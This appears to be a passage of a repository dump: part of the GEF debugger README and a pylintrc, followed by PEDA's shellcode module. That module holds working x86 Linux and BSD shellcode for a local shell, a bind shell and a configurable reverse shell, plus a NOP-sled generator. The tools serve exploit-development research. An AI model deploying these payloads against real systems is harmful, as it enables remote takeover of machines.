recommended to compile and install them from git. 153 | ```bash 154 | $ git clone https://github.com/keystone-engine/keystone.git 155 | $ mkdir -p keystone/build && cd keystone/build 156 | $ ../make-share.sh 157 | $ sudo make install 158 | $ sudo ldconfig 159 | $ cd ../bindings/python && sudo ./setup.py build && sudo ./setup.py install 160 | ``` 161 | 162 | `capstone` provides an alternative to the `gdb` disassembler, which could be 163 | useful specifically when dealing with complex/uncommon instructions. 164 | 165 | 166 | Install is simple through `pip`, but to get the latest features from it, 167 | installation from the repository is recommended: 168 | ```bash 169 | $ git clone https://github.com/unicorn-engine/unicorn.git && cd unicorn && ./make.sh && sudo ./make.sh install 170 | ``` 171 | 172 | `unicorn` integration in `gef` allows to emulate the behaviour to specific instructions (or block of instructions) based on the runtime context, without actually running it, and therefore sparing the trouble of saving the context/running the new context/restoring the old context. Additionally, `gef` can generate a standalone `unicorn` Python script, if you want/need to reproduce steps outside the debugger. 173 | 174 | 175 | ### ROPGadget ### 176 | 177 | [`ROPgadget`](https://github.com/JonathanSalwan/ROPgadget) (written by [Jonathan Salwan](https://github.com/JonathanSalwan)) is simply the best cross-platform ROP gadget finder. It has been totally integrated inside `gef` to benefit of all of its awesomeness. 178 | ```bash 179 | $ pip[23] install ropgadget 180 | ``` 181 | 182 | ### Ropper ### 183 | 184 | [`Ropper`](https://github.com/sashs/ropper) (written by [Sascha Schirra](https://github.com/sashs)) is another gadget finder. It supports opening multiple files and provides an awesome search option to find accurate gadgets. 185 | ```bash 186 | $ pip[23] install ropper 187 | ``` 188 | 189 | ### One-liner 190 | 191 | Some of the optional dependencies can be installed using Python package 192 | installer, `pip`. Simply run this 193 | ```bash 194 | $ pip[23] install ropgadget ropper capstone 195 | ``` 196 | 197 | ## But why not PEDA? ## 198 | 199 | Yes! Why not?! [PEDA](https://github.com/longld/peda) is a fantastic tool to 200 | do the same, but **only** works for x86-32 or x86-64x whereas `GEF` supports 201 | all the architecture supported by `GDB` (currently x86, ARM, AARCH64, MIPS, 202 | PowerPC, SPARC) but is designed to integrate new architectures very easily as 203 | well! 204 | 205 | 206 | ## Bugs & Feedbacks ## 207 | 208 | To discuss `gef`, `gdb`, exploitation or other topics, feel free to join the 209 | `##gef` channel on the Freenode IRC network. You can also to me (`hugsy`) via the 210 | channel. For those who do not have an IRC client (like `weechat` or `irssi`), 211 | simply [click here](https://webchat.freenode.net/?channels=##gef). 212 | 213 | For bugs or feature requests, just 214 | go [here](https://github.com/hugsy/gef/issues) and provide a thorough description 215 | if you want help. 216 | 217 | 218 | ## Contribution ## 219 | 220 | `gef` was created and maintained by myself, 221 | [`@_hugsy_`](https://twitter.com/_hugsy_), but kept fresh thanks to [all 222 | the contributors](https://github.com/hugsy/gef/graphs/contributors). 223 | 224 | Or if you just like the tool, feel free to drop a simple *"thanks"* on IRC, 225 | Twitter or other, it is **always** very appreciated. 226 | 227 | 228 | ## Open-Source Rewards ## 229 | 230 | I love Open-Source, and just like 231 | my [other projects](https://proxenet.readthedocs.io/en/latest/#contributing) 232 | I've decided to offer a :beer: 4 :bug: (a.k.a *beer4bugs*) bounty for 233 | `GEF`, to thank everybody who helps keeping the project living and always 234 | better. 235 | 236 | The rule is simple, provide a (substantial) contribution to `GEF`, such as: 237 | 238 | 1. Submitting a Pull-Request for a new feature/command. 239 | 1. Submitting a Pull-Request for a new architecture support. 240 | 1. Or sending a relevant issue request (like a bug, crash, or else). 241 | 242 | Poke me on the IRC `##gef` channel about it, and next time we meet in person 243 | (like at a conference), I'll be happy to pay you a beer. 244 | 245 | I do also accept beers if you think that the tool is cool! :wink: 246 | 247 | Cheers :beers: 248 | 249 | # Happy Hacking # 250 | -------------------------------------------------------------------------------- /gef/tests/pylintrc: -------------------------------------------------------------------------------- 1 | [MASTER] 2 | 3 | # Specify a configuration file. 4 | #rcfile= 5 | 6 | # Python code to execute, usually for sys.path manipulation such as 7 | # pygtk.require(). 8 | #init-hook= 9 | 10 | # Add files or directories to the blacklist. They should be base names, not 11 | # paths. 12 | ignore=CVS 13 | 14 | # Pickle collected data for later comparisons. 15 | persistent=yes 16 | 17 | # List of plugins (as comma separated values of python modules names) to load, 18 | # usually to register additional checkers. 19 | load-plugins= 20 | 21 | # Use multiple processes to speed up Pylint. 22 | jobs=1 23 | 24 | # Allow loading of arbitrary C extensions. Extensions are imported into the 25 | # active Python interpreter and may run arbitrary code. 26 | unsafe-load-any-extension=no 27 | 28 | # A comma-separated list of package or module names from where C extensions may 29 | # be loaded. Extensions are loading into the active Python interpreter and may 30 | # run arbitrary code 31 | extension-pkg-whitelist= 32 | 33 | # Allow optimization of some AST trees. This will activate a peephole AST 34 | # optimizer, which will apply various small optimizations. For instance, it can 35 | # be used to obtain the result of joining multiple strings with the addition 36 | # operator. Joining a lot of strings can lead to a maximum recursion error in 37 | # Pylint and this flag can prevent that. It has one side effect, the resulting 38 | # AST will be different than the one from reality. 39 | optimize-ast=no 40 | 41 | 42 | [MESSAGES CONTROL] 43 | 44 | # Only show warnings with the listed confidence levels. Leave empty to show 45 | # all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED 46 | confidence= 47 | 48 | # Enable the message, report, category or checker with the given id(s). You can 49 | # either give multiple identifier separated by comma (,) or put this option 50 | # multiple time (only on the command line, not in the configuration file where 51 | # it should appear only once). See also the "--disable" option for examples. 52 | #enable= 53 | 54 | # Disable the message, report, category or checker with the given id(s). You 55 | # can either give multiple identifiers separated by comma (,) or put this 56 | # option multiple times (only on the command line, not in the configuration 57 | # file where it should appear only once).You can also use "--disable=all" to 58 | # disable everything first and then reenable specific checks. For example, if 59 | # you want to run only the similarities checker, you can use "--disable=all 60 | # --enable=similarities". If you want to run only the classes checker, but have 61 | # no Warning level messages displayed, use"--disable=all --enable=classes 62 | # --disable=W" 63 | # disable=next-method-called,no-absolute-import,raising-string,old-octal-literal,suppressed-message,backtick,cmp-method,delslice-method,using-cmp-argument,parameter-unpacking,coerce-builtin,cmp-builtin,useless-suppression,unpacking-in-except,input-builtin,map-builtin-not-iterating,basestring-builtin,unicode-builtin,coerce-method,apply-builtin,buffer-builtin,old-division,execfile-builtin,metaclass-assignment,zip-builtin-not-iterating,import-star-module-level,nonzero-method,hex-method,long-builtin,raw_input-builtin,intern-builtin,old-ne-operator,indexing-exception,range-builtin-not-iterating,old-raise-syntax,file-builtin,dict-view-method,oct-method,reload-builtin,unichr-builtin,setslice-method,xrange-builtin,reduce-builtin,long-suffix,print-statement,getslice-method,standarderror-builtin,filter-builtin-not-iterating,round-builtin,dict-iter-method 64 | disable=bad-whitespace 65 | 66 | [REPORTS] 67 | 68 | # Set the output format. Available formats are text, parseable, colorized, msvs 69 | # (visual studio) and html. You can also give a reporter class, eg 70 | # mypackage.mymodule.MyReporterClass. 71 | output-format=text 72 | 73 | # Put messages in a separate file for each module / package specified on the 74 | # command line instead of printing them on stdout. Reports (if any) will be 75 | # written in a file name "pylint_global.[txt|html]". 76 | files-output=no 77 | 78 | # Tells whether to display a full report or only the messages 79 | reports=yes 80 | 81 | # Python expression which should return a note less than 10 (10 is the highest 82 | # note). You have access to the variables errors warning, statement which 83 | # respectively contain the number of errors / warnings messages and the total 84 | # number of statements analyzed. This is used by the global evaluation report 85 | # (RP0004). 86 | evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10) 87 | 88 | # Template used to display messages. This is a python new-style format string 89 | # used to format the message information. See doc for all details 90 | #msg-template= 91 | 92 | 93 | [SPELLING] 94 | 95 | # Spelling dictionary name. Available dictionaries: none. To make it working 96 | # install python-enchant package. 97 | spelling-dict= 98 | 99 | # List of comma separated words that should not be checked. 100 | spelling-ignore-words= 101 | 102 | # A path to a file that contains private dictionary; one word per line. 103 | spelling-private-dict-file= 104 | 105 | # Tells whether to store unknown words to indicated private dictionary in 106 | # --spelling-private-dict-file option instead of raising a message. 107 | spelling-store-unknown-words=no 108 | 109 | 110 | [MISCELLANEOUS] 111 | 112 | # List of note tags to take in consideration, separated by a comma. 113 | notes=FIXME,XXX,TODO 114 | 115 | 116 | [SIMILARITIES] 117 | 118 | # Minimum lines number of a similarity. 119 | min-similarity-lines=4 120 | 121 | # Ignore comments when computing similarities. 122 | ignore-comments=yes 123 | 124 | # Ignore docstrings when computing similarities. 125 | ignore-docstrings=yes 126 | 127 | # Ignore imports when computing similarities. 128 | ignore-imports=no 129 | 130 | 131 | [LOGGING] 132 | 133 | # Logging modules to check that the string format arguments are in logging 134 | # function parameter format 135 | logging-modules=logging 136 | 137 | 138 | [FORMAT] 139 | 140 | # Maximum number of characters on a single line. 141 | max-line-length=150 142 | 143 | # Regexp for a line that is allowed to be longer than the limit. 144 | ignore-long-lines=^\s*(# )??$ 145 | 146 | # Allow the body of an if to be on the same line as the test if there is no 147 | # else. 148 | single-line-if-stmt=no 149 | 150 | # List of optional constructs for which whitespace checking is disabled. `dict- 151 | # separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}. 152 | # `trailing-comma` allows a space between comma and closing bracket: (a, ). 153 | # `empty-line` allows space-only lines. 154 | no-space-check=trailing-comma,dict-separator 155 | 156 | # Maximum number of lines in a module 157 | max-module-lines=1000 158 | 159 | # String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 160 | # tab). 161 | indent-string=' ' 162 | 163 | # Number of spaces of indent required inside a hanging or continued line. 164 | indent-after-paren=4 165 | 166 | # Expected format of line ending, e.g. empty (any line ending), LF or CRLF. 167 | expected-line-ending-format= 168 | 169 | 170 | [TYPECHECK] 171 | 172 | # Tells whether missing members accessed in mixin class should be ignored. A 173 | # mixin class is detected if its name ends with "mixin" (case insensitive). 174 | ignore-mixin-members=yes 175 | 176 | # List of module names for which member attributes should not be checked 177 | # (useful for modules/projects where namespaces are manipulated during runtime 178 | # and thus existing member attributes cannot be deduced by static analysis. It 179 | # supports qualified module names, as well as Unix pattern matching. 180 | ignored-modules= 181 | 182 | # List of classes names for which member attributes should not be checked 183 | # (useful for classes with attributes dynamically set). This supports can work 184 | # with qualified names. 185 | ignored-classes= 186 | 187 | # List of members which are set dynamically and missed by pylint inference 188 | # system, and so shouldn't trigger E1101 when accessed. Python regular 189 | # expressions are accepted. 190 | generated-members= 191 | 192 | 193 | [BASIC] 194 | 195 | # List of builtins function names that should not be used, separated by a comma 196 | bad-functions=map,filter 197 | 198 | # Good variable names which should always be accepted, separated by a comma 199 | good-names=i,j,k,Run,_,fd,FS,GS,x,y,z,pc,sp,ps,ip 200 | 201 | # Bad variable names which should always be refused, separated by a comma 202 | bad-names=foo,bar,baz,toto,tutu,tata 203 | 204 | # Colon-delimited sets of names that determine each other's naming style when 205 | # the name regexes allow several styles. 206 | name-group= 207 | 208 | # Include a hint for the correct naming format with invalid-name 209 | include-naming-hint=no 210 | 211 | # Regular expression matching correct class names 212 | class-rgx=[A-Z_][a-zA-Z0-9]+$ 213 | 214 | # Naming hint for class names 215 | class-name-hint=[A-Z_][a-zA-Z0-9]+$ 216 | 217 | # Regular expression matching correct method names 218 | method-rgx=[a-z_][a-z0-9_]{2,30}$ 219 | 220 | # Naming hint for method names 221 | method-name-hint=[a-z_][a-z0-9_]{2,30}$ 222 | 223 | # Regular expression matching correct argument names 224 | argument-rgx=[a-z_][a-z0-9_]{2,30}$ 225 | 226 | # Naming hint for argument names 227 | argument-name-hint=[a-z_][a-z0-9_]{2,30}$ 228 | 229 | # Regular expression matching correct class attribute names 230 | class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ 231 | 232 | # Naming hint for class attribute names 233 | class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ 234 | 235 | # Regular expression matching correct module names 236 | module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ 237 | 238 | # Naming hint for module names 239 | module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ 240 | 241 | # Regular expression matching correct inline iteration names 242 | inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$ 243 | 244 | # Naming hint for inline iteration names 245 | inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$ 246 | 247 | # Regular expression matching correct constant names 248 | const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$ 249 | 250 | # Naming hint for constant names 251 | const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$ 252 | 253 | # Regular expression matching correct variable names 254 | variable-rgx=[a-z_][a-z0-9_]{2,30}$ 255 | 256 | # Naming hint for variable names 257 | variable-name-hint=[a-z_][a-z0-9_]{2,30}$ 258 | 259 | # Regular expression matching correct attribute names 260 | attr-rgx=[a-z_][a-z0-9_]{2,30}$ 261 | 262 | # Naming hint for attribute names 263 | attr-name-hint=[a-z_][a-z0-9_]{2,30}$ 264 | 265 | # Regular expression matching correct function names 266 | function-rgx=[a-z_][a-z0-9_]{2,30}$ 267 | 268 | # Naming hint for function names 269 | function-name-hint=[a-z_][a-z0-9_]{2,30}$ 270 | 271 | # Regular expression which should only match function or class names that do 272 | # not require a docstring. 273 | no-docstring-rgx=^_ 274 | 275 | # Minimum line length for functions/classes that require docstrings, shorter 276 | # ones are exempt. 277 | docstring-min-length=-1 278 | 279 | 280 | [ELIF] 281 | 282 | # Maximum number of nested blocks for function / method body 283 | max-nested-blocks=5 284 | 285 | 286 | [VARIABLES] 287 | 288 | # Tells whether we should check for unused import in __init__ files. 289 | init-import=no 290 | 291 | # A regular expression matching the name of dummy variables (i.e. expectedly 292 | # not used). 293 | dummy-variables-rgx=_$|dummy 294 | 295 | # List of additional names supposed to be defined in builtins. Remember that 296 | # you should avoid to define new builtins when possible. 297 | additional-builtins= 298 | 299 | # List of strings which can identify a callback function by name. A callback 300 | # name must start or end with one of those strings. 301 | callbacks=cb_,_cb 302 | 303 | 304 | [IMPORTS] 305 | 306 | # Deprecated modules which should not be used, separated by a comma 307 | deprecated-modules=optparse 308 | 309 | # Create a graph of every (i.e. internal and external) dependencies in the 310 | # given file (report RP0402 must not be disabled) 311 | import-graph= 312 | 313 | # Create a graph of external dependencies in the given file (report RP0402 must 314 | # not be disabled) 315 | ext-import-graph= 316 | 317 | # Create a graph of internal dependencies in the given file (report RP0402 must 318 | # not be disabled) 319 | int-import-graph= 320 | 321 | 322 | [DESIGN] 323 | 324 | # Maximum number of arguments for function / method 325 | max-args=5 326 | 327 | # Argument names that match this expression will be ignored. Default to name 328 | # with leading underscore 329 | ignored-argument-names=_.* 330 | 331 | # Maximum number of locals for function / method body 332 | max-locals=15 333 | 334 | # Maximum number of return / yield for function / method body 335 | max-returns=6 336 | 337 | # Maximum number of branch for function / method body 338 | max-branches=12 339 | 340 | # Maximum number of statements in function / method body 341 | max-statements=50 342 | 343 | # Maximum number of parents for a class (see R0901). 344 | max-parents=7 345 | 346 | # Maximum number of attributes for a class (see R0902). 347 | max-attributes=7 348 | 349 | # Minimum number of public methods for a class (see R0903). 350 | min-public-methods=2 351 | 352 | # Maximum number of public methods for a class (see R0904). 353 | max-public-methods=20 354 | 355 | # Maximum number of boolean expressions in a if statement 356 | max-bool-expr=5 357 | 358 | 359 | [CLASSES] 360 | 361 | # List of method names used to declare (i.e. assign) instance attributes. 362 | defining-attr-methods=__init__,__new__,setUp 363 | 364 | # List of valid names for the first argument in a class method. 365 | valid-classmethod-first-arg=cls 366 | 367 | # List of valid names for the first argument in a metaclass class method. 368 | valid-metaclass-classmethod-first-arg=mcs 369 | 370 | # List of member names, which should be excluded from the protected access 371 | # warning. 372 | exclude-protected=_asdict,_fields,_replace,_source,_make 373 | 374 | 375 | [EXCEPTIONS] 376 | 377 | # Exceptions that will emit a warning when being caught. Defaults to 378 | # "Exception" 379 | overgeneral-exceptions=Exception 380 | -------------------------------------------------------------------------------- /peda/lib/shellcode.py: -------------------------------------------------------------------------------- 1 | # 2 | # PEDA - Python Exploit Development Assistance for GDB 3 | # 4 | # Copyright (C) 2012 Long Le Dinh 5 | # 6 | # License: see LICENSE file for details 7 | # 8 | 9 | from __future__ import absolute_import 10 | from __future__ import division 11 | from __future__ import print_function 12 | 13 | import random 14 | import socket 15 | import struct 16 | import traceback 17 | import six.moves.http_client 18 | from six.moves import range 19 | import sys 20 | 21 | import config 22 | from utils import msg, error_msg 23 | 24 | if sys.version_info.major is 3: 25 | from urllib.request import urlopen 26 | from urllib.parse import urlencode 27 | pyversion = 3 28 | else: 29 | from urllib import urlopen 30 | from urllib import urlencode 31 | pyversion = 2 32 | 33 | def _make_values_bytes(dict_): 34 | """Make shellcode in dictionaries bytes""" 35 | return {k: six.b(v) for k, v in dict_.items()} 36 | 37 | 38 | shellcode_x86_linux = _make_values_bytes({ 39 | "exec": ( 40 | "\x31\xc0" # 0x00000000: xor eax,eax 41 | "\x50" # 0x00000002: push eax 42 | "\x68\x2f\x2f\x73\x68" # 0x00000003: push dword 0x68732f2f ; //sh 43 | "\x68\x2f\x62\x69\x6e" # 0x00000008: push dword 0x6e69622f ; /bin 44 | "\x89\xe3" # 0x0000000D: mov ebx,esp 45 | "\x31\xc9" # 0x0000000F: xor ecx,ecx 46 | "\x89\xca" # 0x00000011: mov edx,ecx 47 | "\x6a\x0b" # 0x00000013: push byte +0xb 48 | "\x58" # 0x00000015: pop eax 49 | "\xcd\x80" # 0x00000016: int 0x80 ; execve() 50 | ), 51 | "bindport": ( 52 | "\x31\xdb" # 0x00000000: xor ebx,ebx 53 | "\x53" # 0x00000002: push ebx 54 | "\x43" # 0x00000003: inc ebx 55 | "\x53" # 0x00000004: push ebx 56 | "\x6a\x02" # 0x00000005: push byte +0x2 57 | "\x6a\x66" # 0x00000007: push byte +0x66 58 | "\x58" # 0x00000009: pop eax 59 | "\x99" # 0x0000000A: cdq 60 | "\x89\xe1" # 0x0000000B: mov ecx,esp 61 | "\xcd\x80" # 0x0000000D: int 0x80 ; socket() 62 | "\x96" # 0x0000000F: xchg eax,esi 63 | "\x43" # 0x00000010: inc ebx 64 | "\x52" # 0x00000011: push edx 65 | "\x66\x68\x41\x42" # 0x00000012: push word 0x4241 ; port = 0x4142 66 | "\x66\x53" # 0x00000016: push bx 67 | "\x89\xe1" # 0x00000018: mov ecx,esp 68 | "\x6a\x66" # 0x0000001A: push byte +0x66 69 | "\x58" # 0x0000001C: pop eax 70 | "\x50" # 0x0000001D: push eax 71 | "\x51" # 0x0000001E: push ecx 72 | "\x56" # 0x0000001F: push esi 73 | "\x89\xe1" # 0x00000020: mov ecx,esp 74 | "\xcd\x80" # 0x00000022: int 0x80 ; bind() 75 | "\xb0\x66" # 0x00000024: mov al,0x66 76 | "\xd1\xe3" # 0x00000026: shl ebx,1 77 | "\xcd\x80" # 0x00000028: int 0x80 ; listen() 78 | "\x52" # 0x0000002A: push edx 79 | "\x52" # 0x0000002B: push edx 80 | "\x56" # 0x0000002C: push esi 81 | "\x43" # 0x0000002D: inc ebx 82 | "\x89\xe1" # 0x0000002E: mov ecx,esp 83 | "\xb0\x66" # 0x00000030: mov al,0x66 84 | "\xcd\x80" # 0x00000032: int 0x80 ; accept() 85 | "\x93" # 0x00000034: xchg eax,ebx 86 | "\x6a\x02" # 0x00000035: push byte +0x2 87 | "\x59" # 0x00000037: pop ecx 88 | "\xb0\x3f" # 0x00000038: mov al,0x3f 89 | "\xcd\x80" # 0x0000003A: int 0x80 ; dup2() 90 | "\x49" # 0x0000003C: dec ecx 91 | "\x79\xf9" # 0x0000003D: jns 0x38 92 | "\xb0\x0b" # 0x0000003F: mov al,0xb 93 | "\x52" # 0x00000041: push edx 94 | "\x68\x2f\x2f\x73\x68" # 0x00000042: push dword 0x68732f2f ; //sh 95 | "\x68\x2f\x62\x69\x6e" # 0x00000047: push dword 0x6e69622f ; /bin 96 | "\x89\xe3" # 0x0000004C: mov ebx,esp 97 | "\x52" # 0x0000004E: push edx 98 | "\x53" # 0x0000004F: push ebx 99 | "\x89\xe1" # 0x00000050: mov ecx,esp 100 | "\xcd\x80" # 0x00000052: int 0x80 ; execve() 101 | ), 102 | "connect": ( 103 | "\x31\xdb" # 0x00000000: xor ebx,ebx 104 | "\x53" # 0x00000002: push ebx 105 | "\x43" # 0x00000003: inc ebx 106 | "\x53" # 0x00000004: push ebx 107 | "\x6a\x02" # 0x00000005: push byte +0x2 108 | "\x6a\x66" # 0x00000007: push byte +0x66 109 | "\x58" # 0x00000009: pop eax 110 | "\x89\xe1" # 0x0000000A: mov ecx,esp 111 | "\xcd\x80" # 0x0000000C: int 0x80 ; socket() 112 | "\x93" # 0x0000000E: xchg eax,ebx 113 | "\x59" # 0x0000000F: pop ecx 114 | "\xb0\x3f" # 0x00000010: mov al,0x3f 115 | "\xcd\x80" # 0x00000012: int 0x80 ; dup2() 116 | "\x49" # 0x00000014: dec ecx 117 | "\x79\xf9" # 0x00000015: jns 0x10 118 | "\x5b" # 0x00000017: pop ebx 119 | "\x5a" # 0x00000018: pop edx 120 | "\x68\x7f\x7f\x7f\x7f" # 0x00000019: push dword 0x7f7f7f7f ; address = 127.127.127.127 121 | "\x66\x68\x41\x42" # 0x0000001E: push word 0x4241 ; port = 0x4142 122 | "\x43" # 0x00000022: inc ebx 123 | "\x66\x53" # 0x00000023: push bx 124 | "\x89\xe1" # 0x00000025: mov ecx,esp 125 | "\xb0\x66" # 0x00000027: mov al,0x66 126 | "\x50" # 0x00000029: push eax 127 | "\x51" # 0x0000002A: push ecx 128 | "\x53" # 0x0000002B: push ebx 129 | "\x89\xe1" # 0x0000002C: mov ecx,esp 130 | "\x43" # 0x0000002E: inc ebx 131 | "\xcd\x80" # 0x0000002F: int 0x80 ; connect() 132 | "\x52" # 0x00000031: push edx 133 | "\x68\x2f\x2f\x73\x68" # 0x00000032: push dword 0x68732f2f ; //sh 134 | "\x68\x2f\x62\x69\x6e" # 0x00000037: push dword 0x6e69622f ; /bin 135 | "\x89\xe3" # 0x0000003C: mov ebx,esp 136 | "\x52" # 0x0000003E: push edx 137 | "\x53" # 0x0000003F: push ebx 138 | "\x89\xe1" # 0x00000040: mov ecx,esp 139 | "\xb0\x0b" # 0x00000042: mov al,0xb 140 | "\xcd\x80" # 0x00000044: int 0x80 ; execve() 141 | ) 142 | }) 143 | 144 | shellcode_x86_bsd = _make_values_bytes({ 145 | "exec": ( 146 | "\x31\xc0" # 0x00000000: xor eax,eax 147 | "\x50" # 0x00000002: push eax 148 | "\x68\x2f\x2f\x73\x68" # 0x00000003: push dword 0x68732f2f; //sh 149 | "\x68\x2f\x62\x69\x6e" # 0x00000008: push dword 0x6e69622f; /bin 150 | "\x89\xe3" # 0x0000000D: mov ebx,esp 151 | "\x50" # 0x0000000F: push eax 152 | "\x50" # 0x00000010: push eax 153 | "\x53" # 0x00000011: push ebx 154 | "\x50" # 0x00000012: push eax 155 | "\x6a\x3b" # 0x00000013: push byte +0x3b 156 | "\x58" # 0x00000015: pop eax 157 | "\xcd\x80" # 0x00000016: int 0x80 ; execve() 158 | ), 159 | "bindport": ( 160 | "\x31\xc0" # 0x00000000: xor eax,eax 161 | "\x50" # 0x00000002: push eax 162 | "\x68\xff\x02\x41\x42" # 0x00000003: push dword 0x424102ff ; port = x04142 163 | "\x89\xe7" # 0x00000008: mov edi,esp 164 | "\x50" # 0x0000000A: push eax 165 | "\x6a\x01" # 0x0000000B: push byte +0x1 166 | "\x6a\x02" # 0x0000000D: push byte +0x2 167 | "\x6a\x10" # 0x0000000F: push byte +0x10 168 | "\xb0\x61" # 0x00000011: mov al,0x61 169 | "\xcd\x80" # 0x00000013: int 0x80 ; socket() 170 | "\x57" # 0x00000015: push edi 171 | "\x50" # 0x00000016: push eax 172 | "\x50" # 0x00000017: push eax 173 | "\x6a\x68" # 0x00000018: push byte +0x68 174 | "\x58" # 0x0000001A: pop eax 175 | "\xcd\x80" # 0x0000001B: int 0x80 ; bind() 176 | "\x89\x47\xec" # 0x0000001D: mov [edi-0x14],eax 177 | "\xb0\x6a" # 0x00000020: mov al,0x6a 178 | "\xcd\x80" # 0x00000022: int 0x80 ; listen() 179 | "\xb0\x1e" # 0x00000024: mov al,0x1e 180 | "\xcd\x80" # 0x00000026: int 0x80 ; accept() 181 | "\x50" # 0x00000028: push eax 182 | "\x50" # 0x00000029: push eax 183 | "\x6a\x5a" # 0x0000002A: push byte +0x5a 184 | "\x58" # 0x0000002C: pop eax 185 | "\xcd\x80" # 0x0000002D: int 0x80 ; dup2() 186 | "\xff\x4f\xe4" # 0x0000002F: dec dword [edi-0x1c] 187 | "\x79\xf6" # 0x00000032: jns 0x2a 188 | "\x50" # 0x00000034: push eax 189 | "\x68\x2f\x2f\x73\x68" # 0x00000035: push dword 0x68732f2f ; //sh 190 | "\x68\x2f\x62\x69\x6e" # 0x0000003A: push dword 0x6e69622f ; /bin 191 | "\x89\xe3" # 0x0000003F: mov ebx,esp 192 | "\x50" # 0x00000041: push eax 193 | "\x54" # 0x00000042: push esp 194 | "\x53" # 0x00000043: push ebx 195 | "\x50" # 0x00000044: push eax 196 | "\xb0\x3b" # 0x00000045: mov al,0x3b 197 | "\xcd\x80" # 0x00000047: int 0x80 ; execve() 198 | ), 199 | "connect": ( 200 | "\x68\x7f\x7f\x7f\x7f" # 0x00000000: push dword 0x7f7f7f7f ; address = 127.127.127.127 201 | "\x68\xff\x02\x41\x42" # 0x00000005: push dword 0x424102ff ; port = 0x4142 202 | "\x89\xe7" # 0x0000000A: mov edi,esp 203 | "\x31\xc0" # 0x0000000C: xor eax,eax 204 | "\x50" # 0x0000000E: push eax 205 | "\x6a\x01" # 0x0000000F: push byte +0x1 206 | "\x6a\x02" # 0x00000011: push byte +0x2 207 | "\x6a\x10" # 0x00000013: push byte +0x10 208 | "\xb0\x61" # 0x00000015: mov al,0x61 209 | "\xcd\x80" # 0x00000017: int 0x80 ; socket() 210 | "\x57" # 0x00000019: push edi 211 | "\x50" # 0x0000001A: push eax 212 | "\x50" # 0x0000001B: push eax 213 | "\x6a\x62" # 0x0000001C: push byte +0x62 214 | "\x58" # 0x0000001E: pop eax 215 | "\xcd\x80" # 0x0000001F: int 0x80 ; connect() 216 | "\x50" # 0x00000021: push eax 217 | "\x6a\x5a" # 0x00000022: push byte +0x5a 218 | "\x58" # 0x00000024: pop eax 219 | "\xcd\x80" # 0x00000025: int 0x80 ; dup2() 220 | "\xff\x4f\xe8" # 0x00000027: dec dword [edi-0x18] 221 | "\x79\xf6" # 0x0000002A: jns 0x22 222 | "\x68\x2f\x2f\x73\x68" # 0x0000002C: push dword 0x68732f2f ; //sh 223 | "\x68\x2f\x62\x69\x6e" # 0x00000031: push dword 0x6e69622f ; /bin 224 | "\x89\xe3" # 0x00000036: mov ebx,esp 225 | "\x50" # 0x00000038: push eax 226 | "\x54" # 0x00000039: push esp 227 | "\x53" # 0x0000003A: push ebx 228 | "\x50" # 0x0000003B: push eax 229 | "\xb0\x3b" # 0x0000003C: mov al,0x3b 230 | "\xcd\x80" # 0x0000003E: int 0x80 ; execve() 231 | ) 232 | }) 233 | 234 | 235 | shellcode_x86 = {"linux": shellcode_x86_linux, "bsd": shellcode_x86_bsd} 236 | 237 | SHELLCODES = {"x86": shellcode_x86} 238 | 239 | class Shellcode(): 240 | """ 241 | Simple wrapper for pre-defined shellcodes generation 242 | For complete and advanced shellcodes, Metasploit is recommended 243 | """ 244 | def __init__(self, arch="x86", platform="linux"): 245 | if arch in SHELLCODES and platform in SHELLCODES[arch]: 246 | self.shellcodes = SHELLCODES[arch][platform].copy() 247 | else: 248 | self.shellcodes = None 249 | 250 | @staticmethod 251 | def gennop(size, NOPS=None): 252 | """ 253 | genNOP is used to create an arbitrary length NOP sled using characters of your choosing. 254 | Perhaps you prefer \x90, perhaps you like the defaults. Given a list of NOP characters, 255 | genNOP will randomize and spit out something not easily recognized by the average human/rev engineer. 256 | Still, while you are working a vulnerability, you may prefer to specify one byte such as "A" or 257 | "\x90" as they are easily identified while searching memory. 258 | Defaults: 259 | # inc eax @ \x40 260 | # inc ecx A \x41 261 | # inc edx B \x42 262 | # inc ebx C \x43 263 | # inc esp D \x44 264 | # inc ebp E \x45 265 | # inc esi F \x46 266 | # inc edi G \x47 267 | # dec eax H \x48 268 | # dec esx J \x4a 269 | # daa ' \x27 270 | # das / \x2f 271 | # nop \x90 272 | # xor eax,eax \x33\xc0 273 | source: atlasutils 274 | """ 275 | DEFAULT_NOPS = "ABCFGHKIJ@'" 276 | if (not NOPS): 277 | NOPS = DEFAULT_NOPS 278 | sled = "" 279 | for i in range(size,0,-1): 280 | N = random.randint(0,len(NOPS)-1) 281 | sled += NOPS[N] 282 | return sled 283 | 284 | def shellcode(self, sctype, port=None, host=None): 285 | if not self.shellcodes or sctype not in self.shellcodes: 286 | return None 287 | 288 | if port is None: 289 | port=16706 290 | if host is None: 291 | host='127.127.127.127' 292 | 293 | shellcode = self.shellcodes[sctype] 294 | try: 295 | port = struct.pack(">H", port) 296 | addr = socket.inet_aton(host) 297 | shellcode = shellcode.replace(b"\x66\x68\x41\x42", b"\x66\x68" + port) 298 | shellcode = shellcode.replace(b"\x68\xff\x02\x41\x42", b"\x68\xff\x02" + port) 299 | shellcode = shellcode.replace(b"\x68\x7f\x7f\x7f\x7f", b"\x68" + addr) 300 | return shellcode 301 | except Exception as e: 302 | if config.Option.get("debug") == "on": 303 | msg("Exception: %s" %e) 304 | traceback.print_exc() 305 | return None 306 | 307 | """ search() and display() use the shell-storm API """ 308 | def search(self, keyword): 309 | if keyword is None: 310 | return None 311 | try: 312 | msg("Connecting to shell-storm.org...") 313 | s = six.moves.http_client.HTTPConnection("shell-storm.org") 314 | 315 | s.request("GET", "/api/?s="+str(keyword)) 316 | res = s.getresponse() 317 | read_result = res.read().decode('utf-8') 318 | data_l = [x for x in read_result.split('\n') if x] # remove empty results 319 | except Exception 